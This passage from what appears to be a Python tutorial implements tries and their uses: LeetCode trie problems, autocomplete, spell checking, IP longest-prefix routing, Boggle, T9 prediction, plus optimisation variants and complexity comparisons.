        return self._find_node(self.root, prefix, 0) is not None

    def get_all_words_with_prefix(self, prefix: str) -> list:
        """Get all words starting with prefix."""
        results = []
        node = self._find_node(self.root, prefix, 0)

        if node is not None:
            if node.is_end_of_word:
                results.append(prefix)
            self._collect_words(node.mid, prefix, results)

        return results

    def _collect_words(self, node: TSTNode, prefix: str, results: list) -> None:
        """DFS to collect words."""
        if node is None:
            return

        self._collect_words(node.left, prefix, results)

        current = prefix + node.char
        if node.is_end_of_word:
            results.append(current)
        self._collect_words(node.mid, current, results)

        self._collect_words(node.right, prefix, results)

    def __len__(self) -> int:
        return self.size

# Example usage
tst = TernarySearchTrie()
words = ["cat", "cats", "dog", "dodge", "card", "care"]

for word in words:
    tst.insert(word)

print(f"Size: {len(tst)}")  # 6
print(f"Search 'cat': {tst.search('cat')}")  # True
print(f"Search 'ca': {tst.search('ca')}")    # False
print(f"Starts with 'ca': {tst.starts_with('ca')}")  # True
print(f"Words with 'ca': {tst.get_all_words_with_prefix('ca')}")  # ['cat', 'cats', 'card', 'care']

class WordDictionary:
    """
    Add and search words - supports '.' wildcard.
    LeetCode 211: Design Add and Search Words Data Structure
    """

    def __init__(self):
        self.root = TrieNode()

    def addWord(self, word: str) -> None:
        """Add word to dictionary. O(m) time."""
        node = self.root

        for char in word:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]

        node.is_end_of_word = True

    def search(self, word: str) -> bool:
        """
        Search word with wildcard support.
        '.' matches any single character.
        O(m * 26^k) where k is number of wildcards
        """
        return self._search_helper(self.root, word, 0)

    def _search_helper(self, node: TrieNode, word: str, index: int) -> bool:
        """Recursive search with wildcard support."""
        if index == len(word):
            return node.is_end_of_word

        char = word[index]

        if char == '.':
            # Wildcard - try all children
            for child in node.children.values():
                if self._search_helper(child, word, index + 1):
                    return True
            return False
        else:
            # Regular character
            if char not in node.children:
                return False
            return self._search_helper(node.children[char], word, index + 1)

# Example usage
wd = WordDictionary()
wd.addWord("bad")
wd.addWord("dad")
wd.addWord("mad")

print(wd.search("pad"))  # False
print(wd.search("bad"))  # True
print(wd.search(".ad"))  # True (matches bad, dad, mad)
print(wd.search("b.."))  # True (matches bad)

class Solution:
    """
    LeetCode 212: Word Search II
    Given an m x n board and a list of words, find all words on the board.
    """

    def findWords(self, board: list[list[str]], words: list[str]) -> list[str]:
        """
        Time Complexity: O(m * n * 4^L) where L is max word length
        Space Complexity: O(W * L) for trie, W = number of words
        """
        # Build trie from words
        trie = Trie()
        for word in words:
            trie.insert(word)

        rows, cols = len(board), len(board[0])
        result = set()

        def dfs(r, c, node, path):
            """DFS on board with trie traversal."""
            # Bounds check
            if r < 0 or r >= rows or c < 0 or c >= cols:
                return

            char = board[r][c]

            # Already visited or not in trie
            if char == '#' or char not in node.children:
                return

            node = node.children[char]
            path += char

            # Found a word
            if node.is_end_of_word:
                result.add(path)
                # Don't return - there might be longer words

            # Mark as visited
            board[r][c] = '#'

            # Explore neighbors
            dfs(r + 1, c, node, path)
            dfs(r - 1, c, node, path)
            dfs(r, c + 1, node, path)
            dfs(r, c - 1, node, path)

            # Restore
            board[r][c] = char

        # Start DFS from each cell
        for r in range(rows):
            for c in range(cols):
                dfs(r, c, trie.root, "")

        return list(result)

# Example
board = [
    ['o', 'a', 'a', 'n'],
    ['e', 't', 'a', 'e'],
    ['i', 'h', 'k', 'r'],
    ['i', 'f', 'l', 'v']
]
words = ["oath", "pea", "eat", "rain"]

solution = Solution()
print(solution.findWords(board, words))  # ["oath", "eat"]

class AutocompleteSystem:
    """
    LeetCode 642: Design Search Autocomplete System
    Returns top 3 historical hot sentences with given prefix.
    """

    def __init__(self, sentences: list[str], times: list[int]):
        """
        Initialize with historical sentences and their frequencies.
        """
        self.trie = Trie()
        self.current_input = ""

        # Build trie with frequencies
        for sentence, count in zip(sentences, times):
            self._insert_with_frequency(sentence, count)

    def _insert_with_frequency(self, sentence: str, count: int) -> None:
        """Insert sentence with frequency tracking."""
        node = self.trie.root

        for char in sentence:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]

        node.is_end_of_word = True
        node.word = sentence
        node.frequency = getattr(node, 'frequency', 0) + count

    def input(self, c: str) -> list[str]:
        """
        Process input character and return top 3 suggestions.
        '#' marks end of input.
        """
        if c == '#':
            # Save current input
            self._insert_with_frequency(self.current_input, 1)
            self.current_input = ""
            return []

        self.current_input += c

        # Find all words with current prefix
        node = self.trie.root
        for char in self.current_input:
            if char not in node.children:
                return []
            node = node.children[char]

        # Collect all words from this node with frequencies
        candidates = []
        self._collect_with_frequency(node, candidates)

        # Sort by frequency (desc) then lexicographically (asc)
        candidates.sort(key=lambda x: (-x[1], x[0]))

        # Return top 3
        return [word for word, freq in candidates[:3]]

    def _collect_with_frequency(self, node: TrieNode, results: list) -> None:
        """DFS to collect words with frequencies."""
        if node.is_end_of_word:
            results.append((node.word, node.frequency))

        for child in node.children.values():
            self._collect_with_frequency(child, results)

# Example usage
sentences = ["i love you", "island", "iroman", "i love leetcode"]
times = [5, 3, 2, 2]
system = AutocompleteSystem(sentences, times)

print(system.input('i'))  # ["i love you", "island", "i love leetcode"]
print(system.input(' '))  # ["i love you", "i love leetcode"]
print(system.input('a'))  # []
print(system.input('#'))  # []

class Solution:
    """
    LeetCode 648: Replace Words
    Replace words with their shortest dictionary root.
    """

    def replaceWords(self, dictionary: list[str], sentence: str) -> str:
        """
        Time Complexity: O(D + S) where D = total chars in dictionary,
                         S = total chars in sentence
        """
        # Build trie from dictionary
        trie = Trie()
        for root in dictionary:
            trie.insert(root)

        def find_shortest_root(word):
            """Find shortest root of word in trie."""
            node = trie.root
            prefix = ""

            for char in word:
                if char not in node.children:
                    # No prefix found, return original word
                    return word

                prefix += char
                node = node.children[char]

                # Found a root
                if node.is_end_of_word:
                    return prefix

            # No root found
            return word

        # Process each word in sentence
        words = sentence.split()
        return ' '.join(find_shortest_root(word) for word in words)

# Example
solution = Solution()
dictionary = ["cat", "bat", "rat"]
sentence = "the cattle was rattled by the battery"
print(solution.replaceWords(dictionary, sentence))
# Output: "the cat was rat by the bat"

class Solution:
    """
    LeetCode 720: Longest Word in Dictionary
    Find longest word that can be built one character at a time.
    """

    def longestWord(self, words: list[str]) -> str:
        """
        Time Complexity: O(n * m) where n = words, m = avg length
        """
        trie = Trie()

        # Insert all words
        for word in words:
            trie.insert(word)

        # DFS to find longest word where all prefixes exist
        longest = ""

        def dfs(node, path):
            nonlocal longest

            # Update longest if current path is longer
            # (or same length but lexicographically smaller)
            if len(path) > len(longest) or \
               (len(path) == len(longest) and path < longest):
                longest = path

            # Only continue if all prefixes exist (all nodes are end of word)
            for char, child in sorted(node.children.items()):
                if child.is_end_of_word:
                    dfs(child, path + char)

        dfs(trie.root, "")
        return longest

# Example
solution = Solution()
words = ["w", "wo", "wor", "worl", "world"]
print(solution.longestWord(words))  # "world"

words2 = ["a", "banana", "app", "appl", "ap", "apply", "apple"]
print(solution.longestWord(words2))  # "apple"

class Solution:
    """
    LeetCode 421: Maximum XOR of Two Numbers in an Array
    Uses binary trie (bits as characters).
    """

    def findMaximumXOR(self, nums: list[int]) -> int:
        """
        Time Complexity: O(n * 32) = O(n)
        Space Complexity: O(n * 32) = O(n)
        """
        class BitTrie:
            def __init__(self):
                self.root = {}

            def insert(self, num):
                """Insert number as 32-bit binary."""
                node = self.root
                for i in range(31, -1, -1):
                    bit = (num >> i) & 1
                    if bit not in node:
                        node[bit] = {}
                    node = node[bit]

            def find_max_xor(self, num):
                """Find number that gives max XOR with num."""
                node = self.root
                max_xor = 0

                for i in range(31, -1, -1):
                    bit = (num >> i) & 1
                    # Try to go opposite direction for max XOR
                    toggle_bit = 1 - bit

                    if toggle_bit in node:
                        max_xor |= (1 << i)
                        node = node[toggle_bit]
                    else:
                        node = node[bit]

                return max_xor

        trie = BitTrie()
        max_xor = 0

        # Insert all numbers and find max XOR
        for num in nums:
            trie.insert(num)
            max_xor = max(max_xor, trie.find_max_xor(num))

        return max_xor

# Example
solution = Solution()
print(solution.findMaximumXOR([3, 10, 5, 25, 2, 8]))  # 28 (5 XOR 25)

class Trie:
    """
    Implement a trie with insert, search, and startsWith methods.
    """

    def __init__(self):
        """Initialize your data structure here."""
        self.root = {}

    def insert(self, word: str) -> None:
        """Inserts a word into the trie. O(m) time."""
        node = self.root
        for char in word:
            if char not in node:
                node[char] = {}
            node = node[char]
        node['#'] = True  # End of word marker

    def search(self, word: str) -> bool:
        """Returns if the word is in the trie. O(m) time."""
        node = self.root
        for char in word:
            if char not in node:
                return False
            node = node[char]
        return '#' in node

    def startsWith(self, prefix: str) -> bool:
        """Returns if there is any word in the trie that starts with the given prefix. O(p) time."""
        node = self.root
        for char in prefix:
            if char not in node:
                return False
            node = node[char]
        return True

# Test
trie = Trie()
trie.insert("apple")
print(trie.search("apple"))    # True
print(trie.search("app"))      # False
print(trie.startsWith("app"))  # True
trie.insert("app")
print(trie.search("app"))      # True

class WordDictionary:
    """Support wildcard '.' that matches any character."""

    def __init__(self):
        self.root = {}

    def addWord(self, word: str) -> None:
        """Add word. O(m) time."""
        node = self.root
        for char in word:
            if char not in node:
                node[char] = {}
            node = node[char]
        node['#'] = True

    def search(self, word: str) -> bool:
        """Search with wildcard support. O(m * 26^w) where w = wildcards."""
        def dfs(node, i):
            if i == len(word):
                return '#' in node

            char = word[i]
            if char == '.':
                # Try all possible characters
                for key in node:
                    if key != '#' and dfs(node[key], i + 1):
                        return True
                return False
            else:
                if char not in node:
                    return False
                return dfs(node[char], i + 1)

        return dfs(self.root, 0)

# Test
wd = WordDictionary()
wd.addWord("bad")
wd.addWord("dad")
wd.addWord("mad")
print(wd.search("pad"))  # False
print(wd.search("bad"))  # True
print(wd.search(".ad"))  # True
print(wd.search("b.."))  # True

class Solution:
    """
    Find all pairs of distinct indices (i, j) where words[i] + words[j] is a palindrome.
    """

    def palindromePairs(self, words: list[str]) -> list[list[int]]:
        """
        Time Complexity: O(n * m²) where n = words, m = avg length
        """
        def is_palindrome(s):
            return s == s[::-1]

        # Build trie with reversed words
        trie = {}
        for idx, word in enumerate(words):
            node = trie
            for char in reversed(word):
                if char not in node:
                    node[char] = {}
                node = node[char]
            node['#'] = idx

        result = []

        for i, word in enumerate(words):
            node = trie

            # Case 1: word + reversed(other_word) is palindrome
            for j, char in enumerate(word):
                # Check if remaining part of word is palindrome
                # and we've reached end of a reversed word in trie
                if '#' in node and node['#'] != i:
                    if is_palindrome(word[j:]):
                        result.append([i, node['#']])

                if char not in node:
                    break
                node = node[char]
            else:
                # Case 2: Reached end of word, check trie suffixes
                def dfs(n, path):
                    if '#' in n and n['#'] != i:
                        if is_palindrome(path):
                            result.append([i, n['#']])
                    for c, child in n.items():
                        if c != '#':
                            dfs(child, path + c)

                dfs(node, "")

        return result

# Example
solution = Solution()
words = ["abcd", "dcba", "lls", "s", "sssll"]
print(solution.palindromePairs(words))
# Output: [[0,1], [1,0], [3,2], [2,4]]
# "abcd" + "dcba" = "abcddcba"
# "lls" + "sssll" = "llssssll"

class MapSum:
    """
    Implement a map with string keys and integer values.
    Support sum of values for all keys with a given prefix.
    """

    def __init__(self):
        self.trie = {}
        self.key_values = {}  # Store actual key-value pairs

    def insert(self, key: str, val: int) -> None:
        """Insert or update key-value pair. O(m) time."""
        # Calculate delta for updating trie sums
        delta = val - self.key_values.get(key, 0)
        self.key_values[key] = val

        # Update trie with delta
        node = self.trie
        for char in key:
            if char not in node:
                node[char] = {'sum': 0}
            node = node[char]
            node['sum'] = node.get('sum', 0) + delta

    def sum(self, prefix: str) -> int:
        """Return sum of all values with given prefix. O(p) time."""
        node = self.trie
        for char in prefix:
            if char not in node:
                return 0
            node = node[char]
        return node.get('sum', 0)

# Test
ms = MapSum()
ms.insert("apple", 3)
print(ms.sum("ap"))  # 3
ms.insert("app", 2)
print(ms.sum("ap"))  # 5
ms.insert("apple", 5)  # Update
print(ms.sum("ap"))  # 7

class AutocompleteSystemAdvanced:
    """
    Production-grade autocomplete with ranking, caching, and personalization.
    """

    def __init__(self):
        self.trie = Trie()
        self.query_frequency = {}  # Track search frequencies
        self.cache = {}  # Cache popular prefix results
        self.max_suggestions = 10

    def index_documents(self, documents: list[str]) -> None:
        """Index documents for search."""
        for doc in documents:
            # Index full document and significant phrases
            self.trie.insert(doc.lower())

            # Also index individual words
            for word in doc.split():
                if len(word) >= 3:  # Minimum word length
                    self.trie.insert(word.lower())

    def search(self, prefix: str) -> list[tuple[str, int]]:
        """
        Get autocomplete suggestions with ranking.
        Returns: List of (suggestion, score) tuples
        """
        prefix = prefix.lower()

        # Check cache first
        if prefix in self.cache:
            return self.cache[prefix]

        # Get all matching words
        candidates = self.trie.get_all_words_with_prefix(prefix)

        # Score and rank candidates
        scored_candidates = []
        for word in candidates:
            score = self._calculate_score(word, prefix)
            scored_candidates.append((word, score))

        # Sort by score (descending)
        scored_candidates.sort(key=lambda x: -x[1])

        # Take top suggestions
        results = scored_candidates[:self.max_suggestions]

        # Cache results
        self.cache[prefix] = results

        return results

    def _calculate_score(self, word: str, prefix: str) -> int:
        """
        Calculate relevance score for a word.
        Factors: frequency, length, exact prefix match
        """
        score = 0

        # Frequency score (from past searches)
        score += self.query_frequency.get(word, 0) * 100

        # Shorter words score higher (more specific)
        score += (100 - len(word))

        # Exact word match gets bonus
        if word == prefix:
            score += 1000

        # Words starting with prefix get bonus
        if word.startswith(prefix):
            score += 500

        return score

    def record_search(self, query: str) -> None:
        """Record that user searched for this query."""
        query = query.lower()
        self.query_frequency[query] = self.query_frequency.get(query, 0) + 1

        # Invalidate cache entries affected by this update
        for i in range(1, len(query) + 1):
            prefix = query[:i]
            if prefix in self.cache:
                del self.cache[prefix]

    def clear_cache(self) -> None:
        """Clear suggestion cache."""
        self.cache.clear()

# Example usage
autocomplete = AutocompleteSystemAdvanced()

# Index some documents
documents = [
    "Python programming tutorial",
    "Python data structures",
    "Python for beginners",
    "Java programming",
    "JavaScript frameworks"
]
autocomplete.index_documents(documents)

# Search
results = autocomplete.search("pyt")
print("Suggestions for 'pyt':")
for word, score in results:
    print(f"  {word} (score: {score})")

# Record user selection
autocomplete.record_search("python")

# Search again - "python" should rank higher now
results = autocomplete.search("pyt")
print("\nAfter recording search:")
for word, score in results:
    print(f"  {word} (score: {score})")

class SpellChecker:
    """
    Spell checker with suggestions based on edit distance.
    """

    def __init__(self, dictionary: list[str]):
        self.trie = Trie()
        for word in dictionary:
            self.trie.insert(word.lower())

    def is_correct(self, word: str) -> bool:
        """Check if word is spelled correctly."""
        return self.trie.search(word.lower())

    def get_suggestions(self, word: str, max_distance: int = 2) -> list[str]:
        """
        Get spelling suggestions within max_distance edits.
        Uses trie traversal with dynamic programming.
        """
        word = word.lower()
        suggestions = []

        def dfs(node, current_word, prev_row):
            """
            DFS with edit distance calculation.
            prev_row: DP array from previous character
            """
            cols = len(word) + 1
            current_row = [prev_row[0] + 1]  # Deletion

            # Calculate edit distance for current character
            for col in range(1, cols):
                insert_cost = current_row[col - 1] + 1
                delete_cost = prev_row[col] + 1
                replace_cost = prev_row[col - 1]

                if word[col - 1] != current_word[-1]:
                    replace_cost += 1

                current_row.append(min(insert_cost, delete_cost, replace_cost))

            # If edit distance is within threshold and word is complete
            if current_row[-1] <= max_distance and node.is_end_of_word:
                suggestions.append((current_word, current_row[-1]))

            # Only continue if there's potential for valid words
            if min(current_row) <= max_distance:
                for char, child_node in node.children.items():
                    dfs(child_node, current_word + char, current_row)

        # Start DFS from root
        first_row = list(range(len(word) + 1))
        dfs(self.trie.root, "", first_row)

        # Sort by edit distance, then alphabetically
        suggestions.sort(key=lambda x: (x[1], x[0]))

        return [word for word, _ in suggestions]

    def correct(self, text: str) -> str:
        """Auto-correct text."""
        words = text.split()
        corrected = []

        for word in words:
            if self.is_correct(word):
                corrected.append(word)
            else:
                # Get best suggestion
                suggestions = self.get_suggestions(word, max_distance=2)
                if suggestions:
                    corrected.append(suggestions[0])
                else:
                    corrected.append(word)  # No correction found

        return ' '.join(corrected)

# Example usage
dictionary = [
    "hello", "world", "python", "programming",
    "spell", "checker", "correct", "algorithm"
]

spell_checker = SpellChecker(dictionary)

# Check spelling
print(spell_checker.is_correct("hello"))  # True
print(spell_checker.is_correct("helo"))   # False

# Get suggestions
print(spell_checker.get_suggestions("helo"))  # ['hello']
print(spell_checker.get_suggestions("wrld"))  # ['world']
print(spell_checker.get_suggestions("spel"))  # ['spell']

# Auto-correct
text = "helo wrld, this is a pythom progam"
print(spell_checker.correct(text))
# Output: "hello world, this is a python programming"

class IPRouter:
    """
    IP router using trie for longest prefix matching.
    Stores IP addresses in binary trie.
    """

    def __init__(self):
        self.root = {}

    def ip_to_binary(self, ip: str, prefix_length: int = 32) -> str:
        """Convert IP address to binary string."""
        octets = ip.split('.')
        binary = ''.join(format(int(octet), '08b') for octet in octets)
        return binary[:prefix_length]

    def add_route(self, cidr: str, next_hop: str) -> None:
        """
        Add routing entry.
        cidr: IP in CIDR notation (e.g., "192.168.1.0/24")
        next_hop: Gateway address
        """
        ip, prefix_len = cidr.split('/')
        prefix_len = int(prefix_len)
        binary_ip = self.ip_to_binary(ip, prefix_len)

        node = self.root
        for bit in binary_ip:
            if bit not in node:
                node[bit] = {}
            node = node[bit]

        node['next_hop'] = next_hop
        node['cidr'] = cidr

    def lookup(self, ip: str) -> str:
        """
        Find next hop for IP address using longest prefix match.
        Returns next_hop address or None if no route found.
        """
        binary_ip = self.ip_to_binary(ip)

        node = self.root
        last_next_hop = None
        last_cidr = None

        # Traverse as far as possible, keeping track of last next_hop
        for bit in binary_ip:
            if 'next_hop' in node:
                last_next_hop = node['next_hop']
                last_cidr = node['cidr']

            if bit not in node:
                break

            node = node[bit]

        # Check final node
        if 'next_hop' in node:
            last_next_hop = node['next_hop']
            last_cidr = node['cidr']

        return last_next_hop, last_cidr

    def delete_route(self, cidr: str) -> bool:
        """Delete routing entry."""
        ip, prefix_len = cidr.split('/')
        prefix_len = int(prefix_len)
        binary_ip = self.ip_to_binary(ip, prefix_len)

        node = self.root
        for bit in binary_ip:
            if bit not in node:
                return False
            node = node[bit]

        if 'next_hop' in node:
            del node['next_hop']
            del node['cidr']
            return True

        return False

# Example usage
router = IPRouter()

# Add routes
router.add_route("192.168.1.0/24", "gateway1")
router.add_route("192.168.0.0/16", "gateway2")
router.add_route("10.0.0.0/8", "gateway3")
router.add_route("0.0.0.0/0", "default_gateway")  # Default route

# Lookup IPs
test_ips = [
    "192.168.1.100",  # Matches /24
    "192.168.5.50",   # Matches /16
    "10.5.10.20",     # Matches /8
    "8.8.8.8"         # Matches default
]

print("IP Routing Table Lookups:")
for ip in test_ips:
    next_hop, cidr = router.lookup(ip)
    print(f"{ip:20} -> {next_hop:20} (matched {cidr})")

192.168.1.100        -> gateway1             (matched 192.168.1.0/24)
192.168.5.50         -> gateway2             (matched 192.168.0.0/16)
10.5.10.20           -> gateway3             (matched 10.0.0.0/8)
8.8.8.8              -> default_gateway      (matched 0.0.0.0/0)

class BoggleSolver:
    """
    Solve Boggle game - find all valid words on board.
    """

    def __init__(self, dictionary: list[str]):
        self.trie = Trie()
        for word in dictionary:
            if len(word) >= 3:  # Boggle minimum word length
                self.trie.insert(word.upper())

    def solve(self, board: list[list[str]]) -> set[str]:
        """
        Find all valid words on Boggle board.

        Time Complexity: O(m * n * 4^L) where L is max word length
        """
        rows, cols = len(board), len(board[0])
        found_words = set()

        def dfs(r, c, node, path, visited):
            """DFS with trie traversal."""
            # Bounds and visited check
            if (r < 0 or r >= rows or c < 0 or c >= cols or
                (r, c) in visited):
                return

            char = board[r][c]
            if char not in node.children:
                return

            node = node.children[char]
            path += char
            visited.add((r, c))

            # Found valid word
            if node.is_end_of_word and len(path) >= 3:
                found_words.add(path)

            # Explore all 8 neighbors
            for dr, dc in [(-1,-1), (-1,0), (-1,1), (0,-1),
                          (0,1), (1,-1), (1,0), (1,1)]:
                dfs(r + dr, c + dc, node, path, visited)

            visited.remove((r, c))

        # Start from each cell
        for r in range(rows):
            for c in range(cols):
                dfs(r, c, self.trie.root, "", set())

        return found_words

# Example
dictionary = [
    "OATH", "PEAS", "EAT", "RAIN", "OATS", "TEA", "ETA"
]

board = [
    ['O', 'A', 'T', 'H'],
    ['E', 'T', 'A', 'E'],
    ['I', 'H', 'K', 'R'],
    ['I', 'F', 'L', 'V']
]

solver = BoggleSolver(dictionary)
words = solver.solve(board)
print(f"Found {len(words)} words:")
for word in sorted(words):
    print(f"  {word}")

class DNAAnalyzer:
    """
    Analyze DNA sequences using suffix trie.
    """

    def __init__(self, sequence: str):
        self.sequence = sequence.upper()
        self.suffix_trie = SuffixTrie(self.sequence)

    def find_pattern(self, pattern: str) -> list[int]:
        """Find all occurrences of pattern in DNA sequence."""
        return self.suffix_trie.find_all_occurrences(pattern.upper())

    def longest_repeat(self) -> str:
        """Find longest repeated subsequence."""
        return self.suffix_trie.longest_repeated_substring()

    def find_motifs(self, min_length: int = 3, min_occurrences: int = 2) -> list[tuple[str, int]]:
        """
        Find repeated motifs (patterns) in DNA.
        Returns list of (motif, count) tuples.
        """
        motifs = {}

        # Check all substrings
        for i in range(len(self.sequence)):
            for j in range(i + min_length, len(self.sequence) + 1):
                motif = self.sequence[i:j]
                occurrences = len(self.find_pattern(motif))

                if occurrences >= min_occurrences:
                    if motif not in motifs or occurrences > motifs[motif]:
                        motifs[motif] = occurrences

        # Sort by count (descending)
        return sorted(motifs.items(), key=lambda x: -x[1])

# Example
dna = "ATCGATCGAATCGAATCG"
analyzer = DNAAnalyzer(dna)

print(f"DNA Sequence: {dna}")
print(f"\nFind 'ATCG': {analyzer.find_pattern('ATCG')}")
print(f"Longest repeat: {analyzer.longest_repeat()}")
print(f"\nCommon motifs:")
for motif, count in analyzer.find_motifs(min_length=3, min_occurrences=2)[:5]:
    print(f"  {motif}: {count} occurrences")

class T9Dictionary:
    """
    T9 predictive text system (like old cell phones).
    Maps number sequences to words.
    """

    def __init__(self):
        self.trie = Trie()
        # T9 keyboard mapping
        self.t9_map = {
            '2': 'abc', '3': 'def', '4': 'ghi', '5': 'jkl',
            '6': 'mno', '7': 'pqrs', '8': 'tuv', '9': 'wxyz'
        }
        # Reverse mapping
        self.char_to_digit = {}
        for digit, chars in self.t9_map.items():
            for char in chars:
                self.char_to_digit[char] = digit

    def add_word(self, word: str) -> None:
        """Add word to dictionary."""
        self.trie.insert(word.lower())

    def word_to_digits(self, word: str) -> str:
        """Convert word to T9 digit sequence."""
        return ''.join(self.char_to_digit.get(c, '') for c in word.lower())

    def predict(self, digits: str) -> list[str]:
        """
        Get word predictions for digit sequence.
        """
        suggestions = []

        def dfs(node, path, digit_idx):
            """DFS to find matching words."""
            if digit_idx == len(digits):
                if node.is_end_of_word:
                    suggestions.append(path)
                return

            digit = digits[digit_idx]
            possible_chars = self.t9_map.get(digit, '')

            for char in possible_chars:
                if char in node.children:
                    dfs(node.children[char], path + char, digit_idx + 1)

        dfs(self.trie.root, "", 0)
        return suggestions

# Example
t9 = T9Dictionary()

# Add dictionary words
words = ["hello", "world", "help", "good", "home", "gone"]
for word in words:
    t9.add_word(word)

# Predict words
print("T9 Predictions:")
print(f"4663: {t9.predict('4663')}")  # "good", "gone", "home"
print(f"43556: {t9.predict('43556')}")  # "hello"
print(f"96753: {t9.predict('96753')}")  # "world"

class AdaptiveTrie:
    """
    Trie that chooses node implementation based on density.
    """

    class ArrayNode:
        """Use for dense children (many characters present)."""
        def __init__(self):
            self.children = [None] * 26
            self.is_end = False

        def density(self):
            return sum(1 for c in self.children if c) / 26

    class HashNode:
        """Use for sparse children (few characters present)."""
        def __init__(self):
            self.children = {}
            self.is_end = False

        def density(self):
            return len(self.children) / 26 if self.children else 0

    DENSITY_THRESHOLD = 0.5

    def choose_node_type(self, density: float):
        """Choose node type based on expected density."""
        if density > self.DENSITY_THRESHOLD:
            return self.ArrayNode()
        return self.HashNode()

class LazyDeleteTrie:
    """Trie with lazy deletion for better performance."""

    def __init__(self):
        self.root = TrieNode()
        self.deleted = set()  # Set of deleted words

    def delete(self, word: str) -> None:
        """Lazy deletion - O(1) time."""
        self.deleted.add(word)

    def search(self, word: str) -> bool:
        """Check if word exists and not deleted."""
        if word in self.deleted:
            return False
        # Normal trie search
        return self._standard_search(word)

    def garbage_collect(self) -> None:
        """Periodically rebuild trie without deleted words."""
        all_words = self._get_all_words()
        valid_words = [w for w in all_words if w not in self.deleted]

        # Rebuild trie
        self.root = TrieNode()
        for word in valid_words:
            self.insert(word)

        self.deleted.clear()

class CachedTrie(Trie):
    """Trie with LRU cache for frequent prefix queries."""

    def __init__(self, cache_size=1000):
        super().__init__()
        from functools import lru_cache

        # Cache autocomplete results
        @lru_cache(maxsize=cache_size)
        def cached_autocomplete(prefix):
            return tuple(self.get_all_words_with_prefix(prefix))

        self.cached_autocomplete = cached_autocomplete

    def insert(self, word):
        super().insert(word)
        # Invalidate cache on modifications
        self.cached_autocomplete.cache_clear()

def exists_prefix(self, prefix: str) -> bool:
    """
    Check if ANY word starts with prefix.
    Returns immediately on finding first match.
    """
    node = self._find_node(prefix)
    return node is not None  # Don't need to search further

def find_first_word_with_prefix(self, prefix: str) -> str:
    """
    Find first word (not all words) with prefix.
    Much faster than finding all words.
    """
    node = self._find_node(prefix)
    if not node:
        return None

    # DFS until hitting first complete word
    path = prefix
    while not node.is_end_of_word:
        if not node.children:
            return None
        # Take any child
        char, node = next(iter(node.children.items()))
        path += char

    return path

def batch_insert(self, words: list[str]) -> None:
    """
    Insert multiple words efficiently.
    Can optimize by sorting words first (better cache locality).
    """
    # Sort for better cache performance
    words_sorted = sorted(words)

    for word in words_sorted:
        self.insert(word)

def batch_search(self, words: list[str]) -> dict[str, bool]:
    """Search multiple words, return results as dict."""
    return {word: self.search(word) for word in words}

class HybridDictionary:
    """
    Automatically choose between hash table and trie.
    """

    SIZE_THRESHOLD = 1000

    def __init__(self):
        self.size = 0
        self.hash_set = set()
        self.trie = None

    def insert(self, word: str) -> None:
        if self.size < self.SIZE_THRESHOLD:
            self.hash_set.add(word)
        else:
            # Convert to trie
            if self.trie is None:
                self.trie = Trie()
                for w in self.hash_set:
                    self.trie.insert(w)
                self.hash_set.clear()

            self.trie.insert(word)

        self.size += 1

    def search(self, word: str) -> bool:
        if self.trie:
            return self.trie.search(word)
        return word in self.hash_set

class BloomTrie:
    """
    Trie with Bloom filter for fast negative answers.
    """

    def __init__(self):
        self.trie = Trie()
        self.bloom = BloomFilter(size=10000, hash_count=3)

    def insert(self, word: str) -> None:
        self.trie.insert(word)
        self.bloom.add(word)

    def search(self, word: str) -> bool:
        # Fast negative check
        if word not in self.bloom:
            return False  # Definitely not present

        # Might be present, check trie
        return self.trie.search(word)

class RefCountedTrieNode:
    def __init__(self):
        self.children = {}
        self.is_end_of_word = False
        self.ref_count = 0  # Number of words using this node

    def increment_ref(self):
        self.ref_count += 1

    def decrement_ref(self):
        self.ref_count -= 1
        return self.ref_count == 0  # Can be deleted if no refs

class PooledTrie:
    """Trie with node pooling for memory efficiency."""

    def __init__(self):
        self.root = TrieNode()
        self.node_pool = []  # Pool of reusable nodes

    def _get_node(self):
        """Get node from pool or create new."""
        if self.node_pool:
            node = self.node_pool.pop()
            node.children.clear()
            node.is_end_of_word = False
            return node
        return TrieNode()

    def _return_node(self, node):
        """Return node to pool for reuse."""
        self.node_pool.append(node)

# Scenario: Store 10,000 words, frequently search by prefix

# Hash Table approach
hash_table = set(words)
# Pros: Fast exact lookup O(1)
# Cons: Prefix search requires checking all 10,000 words

# Trie approach
trie = Trie()
for word in words:
    trie.insert(word)
# Pros: Prefix search only traverses relevant branch
# Cons: More memory, O(m) lookup instead of O(1)

# Verdict: Use Trie if prefix operations common, else Hash Table

# Example: English dictionary (50,000 words, avg length 8 chars)

# Trie: O(8) = 8 operations regardless of dictionary size
trie.search("computer")  # Always 8 character checks

# BST: O(log 50000) ≈ 16 comparisons
bst.search("computer")  # Up to 16 string comparisons

# Verdict: Trie slightly faster, but uses more memory

# Suffix Trie: Stores all suffixes in trie
# Space: O(n²) = 36 nodes worst case
# Search pattern: O(m)

# Suffix Array: Sorted array of suffix positions
# Space: O(n) = 6 integers
# Search pattern: O(m log n) with binary search

# Verdict: Suffix arrays more space-efficient
# Suffix trees (compressed tries) competitive

# Standard Trie node
# Memory: 65,536 * 8 bytes = 524 KB per node!
# Impractical for large alphabets

# TST node
# Memory: 3 * 8 bytes = 24 bytes per node
# Practical for any alphabet size

# Verdict: TST better for large alphabets

# Just checking if words exist → Use Set
words = {"apple", "banana", "cherry"}
"apple" in words  # O(1)

# Need prefix operations → Use Trie
trie = Trie(words)
trie.get_all_words_with_prefix("app")  # O(p + k)

# Need both → Use Both!
word_set = set(words)  # Fast membership
word_trie = Trie(words)  # Fast prefix search

Do you need prefix operations (autocomplete, search suggestions)?
│
├─ YES → Consider Trie
│   │
│   ├─ Memory constrained? → Compressed Trie/Radix Tree
│   ├─ Large alphabet? → TST
│   └─ Small dataset (<100 items)? → Hash Table might still be better
│
└─ NO → Don't use Trie
    │
    ├─ Need sorted order? → BST (TreeMap)
    ├─ Just membership testing? → Hash Set
    ├─ Need fast lookup? → Hash Table
    └─ Pattern matching in text? → Suffix Array/Tree

def insert(word):  # word length = m
    node = root
    for char in word:  # m iterations
        if char not in node.children:  # O(1) with hash map
            node.children[char] = TrieNode()
        node = node.children[char]
    node.is_end = True  # O(1)
# Total: O(m)

def search(word):  # word length = m
    node = root
    for char in word:  # m iterations
        if char not in node.children:  # O(1)
            return False
        node = node.children[char]  # O(1)
    return node.is_end  # O(1)
# Total: O(m)

def delete(word):
    # Phase 1: Traverse to word - O(m)
    # Phase 2: Recursively cleanup - O(m)
# Total: O(m)

